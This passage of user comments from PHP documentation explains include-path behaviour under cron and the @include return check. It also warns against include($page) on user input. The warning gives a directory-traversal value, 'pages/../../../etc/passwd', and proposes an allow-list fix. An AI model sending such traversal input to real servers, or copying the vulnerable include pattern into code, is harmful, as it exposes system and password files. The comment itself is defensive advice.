I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.
But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.
Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.
To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.
So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.
I hope this helps save someone else the hours it took me to figure out my problem!
David
19-Nov-2003 02:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
<?php
// ignore the notice and evaluate the return value of the script, if any.
if(@include(dirname(__FILE__)."/foo.php"))
echo "foo.php included";
else
echo "failed to include foo.php";
?>
08-Feb-2003 01:29
As to the security risks of an include statement like:
<?php
include($page);
?>
This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like
<?php
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
include($page);
?>
wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )
To be sure only pages are called you want the user to call use something like this:
<?php
$path = 'pages/';
$extension = '.php';
if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
$filename = $path.$page.$extension;
include($filename);
}
?>
This will only make sure only files from the directory $path are called if they have the fileextension $extension.
